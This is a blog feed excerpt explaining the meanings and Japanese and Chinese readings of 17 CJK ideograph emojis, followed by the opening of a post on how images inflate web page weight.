&lt;p&gt;Quick primer on written Japanese characters. There are 3 character types: &lt;em&gt;Hiragana&lt;/em&gt;, &lt;em&gt;Katakana&lt;/em&gt; and &lt;em&gt;Kanji&lt;/em&gt;. &lt;em&gt;Hiragana&lt;/em&gt; and &lt;em&gt;Katakana&lt;/em&gt; are syllabary, which means they represent the sounds that make up the words.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Hiragana&lt;/em&gt; is curved and flowing, and mainly used for native Japanese words and word-endings. &lt;em&gt;Katakana&lt;/em&gt; is simple and angular, and mainly used for writing of loanwords, scientific or technical terms. &lt;em&gt;Kanji&lt;/em&gt; are Han characters, adopted from Chinese characters. Now that that&apos;s out of the way, here we go.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-here-button&quot;&gt;&amp;#x1F201;&amp;#xFE0F; Japanese “here” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-service-charge-button&quot;&gt;&amp;#x1F202;&amp;#xFE0F; Japanese “service charge” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-monthly-amount-button&quot;&gt;&amp;#x1F237;&amp;#xFE0F; Japanese “monthly amount” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-not-free-of-charge-button&quot;&gt;&amp;#x1F236;&amp;#xFE0F; Japanese “not free of charge” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-reserved-button&quot;&gt;&amp;#x1F22F;&amp;#xFE0F; Japanese “reserved” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-bargain-button&quot;&gt;&amp;#x1F250;&amp;#xFE0F; Japanese “bargain” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-discount-button&quot;&gt;&amp;#x1F239;&amp;#xFE0F; Japanese “discount” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-free-of-charge-button&quot;&gt;&amp;#x1F21A;&amp;#xFE0F; Japanese “free of charge” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-prohibited-button&quot;&gt;&amp;#x1F232;&amp;#xFE0F; Japanese “prohibited” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-acceptable-button&quot;&gt;&amp;#x1F251;&amp;#xFE0F; Japanese “acceptable” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-application-button&quot;&gt;&amp;#x1F238;&amp;#xFE0F; Japanese “application” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-passing-grade-button&quot;&gt;&amp;#x1F234;&amp;#xFE0F; Japanese “passing grade” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-vacancy-button&quot;&gt;&amp;#x1F233;&amp;#xFE0F; Japanese “vacancy” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-congratulations-button&quot;&gt;&amp;#x3297;&amp;#xFE0F; Japanese “congratulations” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-secret-button&quot;&gt;&amp;#x3299;&amp;#xFE0F; Japanese “secret” button&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#japanese-open-for-business-button&quot;&gt;&amp;#x1F23A;&amp;#xFE0F; Japanese “open for business” button&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#japanese-no-vacancy-button&quot;&gt;&amp;#x1F235;&amp;#xFE0F; Japanese “no vacancy” button&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;japanese-here-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ココ&quot;&gt;&amp;#x1F201;&amp;#xFE0F;&lt;/span&gt; Japanese “here” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared Katakana Koko&amp;quot;, read as &amp;quot;ko-ko&amp;quot;, and means &amp;quot;here&amp;quot; in Japanese. Written as ここ in Hiragana. Given this is a Japanese word, there&apos;s only the Japanese context. It seems like it&apos;s typically written as Hiragana in everyday use, like ここです (koko desu, meaning &amp;quot;it&apos;s/I&apos;m here&amp;quot;). Personally, I suspect the Katakana style is easier to render in the space of that tiny glyph.&lt;/p&gt;
&lt;h3 id=&quot;japanese-service-charge-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;サ&quot;&gt;&amp;#x1F202;&amp;#xFE0F;&lt;/span&gt; Japanese “service charge” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared Katakana Sa&amp;quot;, read as &amp;quot;sa&amp;quot;. Written as さ in Hiragana. Again, this is a Japanese word, with only the Japanese context. It&apos;s one of the basic Japanese kana. Most likely derived from the word &amp;quot;service&amp;quot; as in &amp;quot;サービス&amp;quot;&lt;/p&gt;
&lt;h3 id=&quot;japanese-monthly-amount-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;月&quot;&gt;&amp;#x1F237;&amp;#xFE0F;&lt;/span&gt; Japanese “monthly amount” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-6708&amp;quot;. It&apos;s a Kanji character, read as &amp;quot;tsuki&amp;quot; in Japanese, and &amp;quot;yue&amp;quot; in Chinese, and can mean &amp;quot;monthly&amp;quot; or &amp;quot;moon&amp;quot; in both languages.&lt;/p&gt;
&lt;h3 id=&quot;japanese-not-free-of-charge-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;有&quot;&gt;&amp;#x1F236;&amp;#xFE0F;&lt;/span&gt; Japanese “not free of charge” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-6709&amp;quot;. It&apos;s a Kanji character, read as &amp;quot;yuu&amp;quot; in Japanese, and &amp;quot;you&amp;quot; in Chinese, and means &amp;quot;to have&amp;quot; in both languages. In Chinese, this word can be used standalone, for example, if someone asks you if you have any spare change (你身上有没有零钱？), you can answer with a simple 有，to say yes, you do have spare change. In Japanese, it&apos;s used as part of a phrase, which can give you a myriad of meanings, like &amp;quot;有名&amp;quot; (famous) or &amp;quot;有用&amp;quot; (useful). I think this particular emoji came from the phrase &amp;quot;有料&amp;quot;, which means &amp;quot;toll&amp;quot; or &amp;quot;charge&amp;quot;.&lt;/p&gt;
&lt;h3 id=&quot;japanese-reserved-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;指&quot;&gt;&amp;#x1F22F;&amp;#xFE0F;&lt;/span&gt; Japanese “reserved” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-6307&amp;quot;. It&apos;s a Kanji character, read as &amp;quot;yubi&amp;quot; in Japanese, and &amp;quot;zhi&amp;quot; in Chinese, and means &amp;quot;finger&amp;quot; or &amp;quot;point&amp;quot; in both languages. It can also mean &amp;quot;toe&amp;quot; when combined with the word &amp;quot;foot&amp;quot;, so it&apos;s &amp;quot;脚指&amp;quot; in Chinese and &amp;quot;足の指&amp;quot; in Japanese. Original television symbol for &amp;quot;designated hitter&amp;quot; or &amp;quot;指名打者&amp;quot; (yes, the baseball kind).&lt;/p&gt;
&lt;h3 id=&quot;japanese-bargain-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;得&quot;&gt;&amp;#x1F250;&amp;#xFE0F;&lt;/span&gt; Japanese “bargain” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Circled Ideograph Advantage&amp;quot;. It&apos;s a Kanji character, read as &amp;quot;toku&amp;quot; in Japanese, and &amp;quot;de&amp;quot; in Chinese, and means &amp;quot;gain&amp;quot; in both languages. Again, it&apos;s usually found as part of a phrase, which then modifies its meaning somewhat. Like &amp;quot;得意&amp;quot; means proud of oneself, in both languages.&lt;/p&gt;
&lt;h3 id=&quot;japanese-discount-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;割&quot;&gt;&amp;#x1F239;&amp;#xFE0F;&lt;/span&gt; Japanese “discount” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-5272&amp;quot;. It&apos;s a Kanji character, read as &amp;quot;wari&amp;quot; in Japanese and &amp;quot;ge&amp;quot; (hard G-sound) in Chinese. It means &amp;quot;split&amp;quot; in Japanese, and can have several other meanings when used as part of a phrase. It means &amp;quot;cut&amp;quot; in Chinese. This particular emoji comes from the phrase &amp;quot;割引&amp;quot;, which means &amp;quot;discount&amp;quot;.&lt;/p&gt;
&lt;h3 id=&quot;japanese-free-of-charge-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;無&quot;&gt;&amp;#x1F21A;&amp;#xFE0F;&lt;/span&gt; Japanese “free of charge” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-7121&amp;quot;. It is a Kanji character, read as &amp;quot;mu&amp;quot; in Japanese and &amp;quot;wu&amp;quot; in Chinese, and means &amp;quot;nothing&amp;quot; in both languages. Original television symbol for &amp;quot;free broadcasting service&amp;quot;.&lt;/p&gt;
&lt;h3 id=&quot;japanese-prohibited-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;禁&quot;&gt;&amp;#x1F232;&amp;#xFE0F;&lt;/span&gt; Japanese “prohibited” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-7981&amp;quot;. It is a Kanji character, read as &amp;quot;kin&amp;quot; in Japanese and &amp;quot;jin&amp;quot; in Chinese, and means &amp;quot;forbidden&amp;quot; in both languages. Mostly used in signage that indicates something is prohibited, like &amp;quot;禁烟&amp;quot; (Chinese) or &amp;quot;禁煙&amp;quot; (Japanese) means &amp;quot;no smoking&amp;quot;.&lt;/p&gt;
&lt;h3 id=&quot;japanese-acceptable-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;可&quot;&gt;&amp;#x1F251;&amp;#xFE0F;&lt;/span&gt; Japanese “acceptable” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-7981&amp;quot;. It is a Kanji character, read as &amp;quot;ka&amp;quot; in Japanese and &amp;quot;ke&amp;quot; in Chinese, and means &amp;quot;acceptable&amp;quot; in both languages in the context of the phrase &amp;quot;许可&amp;quot;. Almost always used as part of a phrase, like &amp;quot;可能&amp;quot; (possible) or &amp;quot;可爱&amp;quot; (cute).&lt;/p&gt;
&lt;h3 id=&quot;japanese-application-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;申&quot;&gt;&amp;#x1F238;&amp;#xFE0F;&lt;/span&gt; Japanese “application” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-7533&amp;quot;. It is a Kanji character, read as &amp;quot;saru&amp;quot; in Japanese and &amp;quot;shen&amp;quot; in Chinese, and means &amp;quot;application&amp;quot; in both languages in the context of the phrase &amp;quot;申請&amp;quot;. Fun fact, the word is also representative of the Monkey in the Zodiac system.&lt;/p&gt;
&lt;h3 id=&quot;japanese-passing-grade-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;合&quot;&gt;&amp;#x1F234;&amp;#xFE0F;&lt;/span&gt; Japanese “passing grade” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-5408&amp;quot;. It is a Kanji character, read as &amp;quot;go&amp;quot; in Japanese and &amp;quot;he&amp;quot; in Chinese, and means &amp;quot;unite&amp;quot; or &amp;quot;join&amp;quot; in both languages. This emoji comes from the phrase &amp;quot;合格&amp;quot;, which means &amp;quot;passed&amp;quot; in both languages.&lt;/p&gt;
&lt;h3 id=&quot;japanese-vacancy-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;空&quot;&gt;&amp;#x1F233;&amp;#xFE0F;&lt;/span&gt; Japanese “vacancy” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-7a7a&amp;quot;. It is a Kanji character, read as &amp;quot;sora&amp;quot; in Japanese and &amp;quot;kong&amp;quot; in Chinese, and can mean &amp;quot;empty&amp;quot; in both languages. In Japanese, it can also mean &amp;quot;sky&amp;quot;. The concept of &amp;quot;空&amp;quot; is an integral part of Buddhism. One of the most well-known lines from the Heart Sutra is &amp;quot;舍利子，色不異空，空不異色；色即是空，空即是色。&amp;quot; which means &amp;quot;form is emptiness, and emptiness is form&amp;quot;. This particular emoji comes from the phrase &amp;quot;空席&amp;quot;, which means &amp;quot;vacancy&amp;quot;.&lt;/p&gt;
&lt;h3 id=&quot;japanese-congratulations-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;祝&quot;&gt;&amp;#x3297;&amp;#xFE0F;&lt;/span&gt; Japanese “congratulations” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Circled Ideograph Congratulation&amp;quot;. It is a Kanji character, read as &amp;quot;i-wai&amp;quot; in Japanese and &amp;quot;zhu&amp;quot; in Chinese, and means &amp;quot;congratulations&amp;quot; in both languages. It has a celebratory connotation, and is commonly used in the phrase &amp;quot;祝福&amp;quot;, which means &amp;quot;blessings&amp;quot; in both languages.&lt;/p&gt;
&lt;h3 id=&quot;japanese-secret-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;秘&quot;&gt;&amp;#x3299;&amp;#xFE0F;&lt;/span&gt; Japanese “secret” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Circled Ideograph Secret&amp;quot;. It is a Kanji character, read as &amp;quot;hee&amp;quot; in Japanese and &amp;quot;mee&amp;quot; in Chinese, and means &amp;quot;secret&amp;quot; in both languages, from the phrase &amp;quot;秘密&amp;quot;. It is also used in several other phrases with completely different meanings, like &amp;quot;秘書&amp;quot;, which means &amp;quot;secretary&amp;quot;.&lt;/p&gt;
&lt;h3 id=&quot;japanese-open-for-business-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;営&quot;&gt;&amp;#x1F23A;&amp;#xFE0F;&lt;/span&gt; Japanese “open for business” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-55b6&amp;quot;. It is a Kanji character, read as &amp;quot;ei&amp;quot; in Japanese and &amp;quot;yin&amp;quot; in Chinese, and as a noun can mean &amp;quot;camp&amp;quot; in both languages. This character is only used in Japanese, even though it is a recognised Chinese character, it is always written as &amp;quot;营&amp;quot;, with the exact same meaning. This particular emoji probably comes from &amp;quot;営業&amp;quot;, which means &amp;quot;business is operational&amp;quot; and its Chinese equivalent is &amp;quot;营业&amp;quot;.&lt;/p&gt;
&lt;h3 id=&quot;japanese-no-vacancy-button&quot;&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;満&quot;&gt;&amp;#x1F235;&amp;#xFE0F;&lt;/span&gt; Japanese “no vacancy” button&lt;/h3&gt;
&lt;p&gt;Also known as &amp;quot;Squared CJK Unified Ideograph-6e80&amp;quot;. It is a Kanji character, read as &amp;quot;mitsuru&amp;quot; and &amp;quot;mun&amp;quot; (as in &amp;quot;bun&amp;quot;) in Chinese, and means &amp;quot;full&amp;quot; in both languages. This is also a Japanese only character, as the Chinese equivalent is &amp;quot;满&amp;quot;, which means the same thing. Its usage as part of other phrases is similar in Japanese and Chinese, like &amp;quot;満足&amp;quot; or &amp;quot;满足&amp;quot; means &amp;quot;satisfied&amp;quot;.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;So that&apos;s 17 East Asian character emojis covered. Plus the short version of the emoji origin story and some unlikely (in my opinion) sources as well. I hope you also picked up some knowledge about the Chinese and Japanese language.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;There are lots of people, like the aforementioned Jennifer 8. Lee and Yiying Lu, who love emojis. So here&apos;s a shout-out to 2 of my favourite emoji people. First is &lt;a href=&quot;http://jeremyburge.com/&quot;&gt;Jeremy Burge&lt;/a&gt;, Founder and Chief Emoji Officer at &lt;a href=&quot;http://emojipedia.org/&quot;&gt;Emojipedia&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Not going to lie, it might be the best job too &lt;a href=&quot;https://t.co/SHnqyBD9Ee&quot;&gt;https://t.co/SHnqyBD9Ee&lt;/a&gt;&lt;/p&gt;&amp;mdash; Jeremy Burge (@jeremyburge) &lt;a href=&quot;https://twitter.com/jeremyburge/status/803620892437782528&quot;&gt;November 29, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;p class=&quot;no-margin&quot;&gt;And &lt;a href=&quot;https://meowni.ca/&quot;&gt;Monica Dinculescu&lt;/a&gt;, who builds lots of wonderful emoji-related side projects and created the original emojis as a font that all of us can use if we want to.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;🔥 I recreated the original DoCoMo emoji set and shipped it as a font that you can use! 🎁&lt;a href=&quot;https://t.co/Lhq25y3OkT&quot;&gt;https://t.co/Lhq25y3OkT&lt;/a&gt; &lt;a href=&quot;https://t.co/sWCPYP9LO3&quot;&gt;pic.twitter.com/sWCPYP9LO3&lt;/a&gt;&lt;/p&gt;&amp;mdash; Monica Dinosaurescu (@notwaldorf) &lt;a href=&quot;https://twitter.com/notwaldorf/status/783355711367421952&quot;&gt;October 4, 2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;2016 hasn&apos;t been the best of years, to be honest. But let&apos;s all hang in there. Here&apos;s to the dawn that comes after the darkest of nights &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;wine glass&quot;&gt;🍷&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Emoji resources &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt;&lt;/h2&gt;
&lt;h3&gt;Websites and documents&lt;/h3&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.unicode.org/reports/tr51/#Introduction&quot;&gt;Unicode® Technical Report #51 - UNICODE EMOJI&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.unicode.org/faq/emoji_dingbats.html&quot;&gt;Unicode FAQs - Emoji and Pictographs&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://unicode.org/emoji/charts/full-emoji-list.html&quot;&gt;Full Emoji Data&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://emojipedia.org/&quot;&gt;Emojipedia&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://caniemoji.com/&quot;&gt;Can I Emoji?&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://worldemojiday.com/&quot;&gt;World Emoji Day&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://podcast.emojiwrap.com/&quot;&gt;Emoji Wrap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://meowni.ca/posts/og-emoji-font/&quot;&gt;2001-era emoji font&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Articles&lt;/h3&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.smashingmagazine.com/2016/11/character-sets-encoding-emoji/&quot;&gt;You, Me And The Emoji: Character Sets, Encoding And Emoji&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.theguardian.com/technology/2016/oct/27/emoji-inventor-shigetaka-kurita-moma-new-york-text&quot;&gt;The inventor of emoji on his famous creations – and his all-time favorite&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.theverge.com/2013/3/4/3966140/how-emoji-conquered-the-world&quot;&gt;How emoji conquered the world&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://stories.moma.org/the-original-emoji-set-has-been-added-to-the-museum-of-modern-arts-collection-c6060e141f61#.lgmi3hxgj&quot;&gt;The Original Emoji Set Has Been Added to The Museum of Modern Art’s Collection&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://creativemarket.com/blog/meet-the-graphic-designers-behind-the-emojis-we-love&quot;&gt;Meet the Graphic Designers Behind the Emojis We Love&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.buzzfeed.com/charliewarzel/there-will-be-dumplings&quot;&gt;One Woman’s Bizarre, Delightful Quest To Change Emojis Forever&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20190630204932/http://www.dumplingemoji.org/&quot;&gt;The Dumpling Emoji Project&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.npr.org/sections/thesalt/2016/12/28/506160715/a-brief-history-of-food-emoji-why-you-wont-find-hummus-on-your-phone&quot;&gt;A Brief History Of Food Emoji: Why You Won’t Find Hummus On Your Phone&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.emojipedia.org/correcting-the-record-on-the-first-emoji-set/&quot;&gt;Correcting the Record on the First Emoji Set&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;http://www.nytimes.com/2016/10/27/arts/design/look-whos-smiley-now-moma-acquires-original-emoji.html&quot;&gt;New York Times article: Look Who’s Smiley Now: MoMA Acquires Original Emoji&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Images, the web&apos;s nutrition problem</title><link>https://chenhuijing.com/blog/images-problem/</link><guid isPermaLink="true">https://chenhuijing.com/blog/images-problem/</guid><description>Okay, that wasn&apos;t my best headline, writing is hard &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;. But let&apos;s face it, the…</description><pubDate>Thu, 22 Dec 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Okay, that wasn&apos;t my best headline, writing is hard &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;. But let&apos;s face it, the web has an obesity problem. I remember the first time I did some research for &lt;a href=&quot;https://youtu.be/LLxg2H4Tk8s&quot;&gt;a talk I gave at Talk.JS&lt;/a&gt; back in 2015, and found &lt;a href=&quot;http://httparchive.org/interesting.php&quot;&gt;the httparchive&lt;/a&gt;, which had statistics on web page sizes since 2010. I said that exact phrase during the talk, and let&apos;s just say I don&apos;t think the web has started on its diet plan or gym membership yet.&lt;/p&gt;
&lt;p&gt;And because I&apos;m a weirdo who likes charts, I wanted to see how this weight gain happened over the past 6 years. It probably crept up on us, I mean, you can&apos;t just wake up 30 pounds heavier overnight. As of 2 Dec 2016, the average size of a web page is 2.46mb, and 1.623mb (or 65.9%) of that is made up of images. So I plotted the weights of different content types over time to how the trend looked. If images were donuts, the web was eating more and more of them over time.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/image-perf/page-weight-640.png&quot;
  srcset=&quot;/images/posts/image-perf/page-weight-480.png 480w, /images/posts/image-perf/page-weight-640.png 640w, /images/posts/image-perf/page-weight-960.png 960w, /images/posts/image-perf/page-weight-1280.png 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Page weight trends&quot;
/&gt;&lt;/p&gt;
&lt;h2&gt;Throwing numbers like I just don&apos;t care&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/ft-product-technology/a-faster-ft-com-10e7c077dc1c&quot;&gt;Research conducted by FT.com&lt;/a&gt; revealed that a slowdown of 3 seconds on page load time caused a mean percentage drop of 7.9% in article views over a period of 28 days. From an ecommerce perspective, Akamai conducted a survey back in 2009 which showed that consumers start to get impatient when pages take longer than 2 seconds to load. Mozilla managed to &lt;a href=&quot;https://blog.mozilla.org/metrics/2010/04/05/firefox-page-load-speed-%E2%80%93-part-ii/&quot;&gt;increase download conversions by 15.4%&lt;/a&gt; by shaving 2.2 seconds off their landing page load time back in 2010.&lt;/p&gt;
&lt;p&gt;According to &lt;a href=&quot;http://www.itu.int/en/ITU-D/Statistics/Pages/facts/default.aspx&quot;&gt;ICT Facts and Figures 2016 report&lt;/a&gt; published by the &lt;a href=&quot;http://www.itu.int/en/about/Pages/default.aspx&quot;&gt;International Telegraph Union (ITU)&lt;/a&gt;, mobile broadband subscriptions are growing at a much faster rate than fixed broadband subscriptions in developing countries.&lt;/p&gt;
&lt;p&gt;But the matter of fact is &lt;a href=&quot;http://www.worldbank.org/en/publication/wdr2016&quot;&gt;only 15% of the world&apos;s citizens have access to affordable high-speed internet&lt;/a&gt;. It is our responsibility as people who build for the web to optimise our sites and applications so we are not exacting additional economic burden to our users, especially those 85% for whom high-speed internet is a significant expense.&lt;/p&gt;
&lt;p&gt;Besides, the average internet user is no longer someone who&apos;s sitting at a desk, tapping away on a keyboard. People are using the internet from their smartphones and tablets, scrolling through their newsfeeds on the toilet, watching videos on the bus, sending chat messages while walking down the street.&lt;/p&gt;
&lt;p&gt;And because they are mobile, a stable and fast internet connection is not guaranteed. &lt;a href=&quot;https://www.doubleclickbygoogle.com/articles/mobile-speed-matters/&quot;&gt;Google&apos;s analysis of mobile latency&lt;/a&gt; published in September 2016 showed that the average load time for mobile sites is 19 seconds over 3G connections. Usain Bolt can run 200m in that time &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person running&quot;&gt;🏃🏿&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Anyway, the point is, big images + spotty connection = &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;pile of poo&quot;&gt;💩&lt;/span&gt; experience.&lt;/p&gt;
&lt;h2&gt;But we must have images...&lt;/h2&gt;
&lt;p&gt;Must you?&lt;br&gt;
Really?&lt;br&gt;
*&lt;em&gt;my face here, with one raised brow (&lt;a href=&quot;http://emojipedia.org/face-with-one-eyebrow-raised/&quot;&gt;emoji coming in 2017&lt;/a&gt;)&lt;/em&gt; *&lt;/p&gt;
&lt;p&gt;Okay, I shan&apos;t be unreasonable here, but there is value in taking the time to consider alternatives to using an image where possible. Gradients, shadows and rounded corners can all be done using just CSS. We can even do all manners of decorative shapes using just HTML and CSS, check out &lt;a href=&quot;http://a.singlediv.com/&quot;&gt;A Single Div&lt;/a&gt;. Maybe the stuff on there is a little too elaborate, but it shows that we can do a lot with CSS nowadays.&lt;/p&gt;
&lt;p&gt;Designing for the web requires that we understand the nature of the web, how browsers behave. Browsers render all the elements that make up a web page sequentially, after the HTML has been first parsed. The remaining assets that make up the web page, things like scripts, stylesheets and images, are retrieved in subsequent requests to the server.&lt;/p&gt;
&lt;p&gt;These round trips between the browser and server take time, and are expensive in terms of performance. A large image simply takes more time to load. If your user is on a spotty internet connection, large images clogging up the already limited bandwidth is just going to slow your page load time to a crawl.&lt;/p&gt;
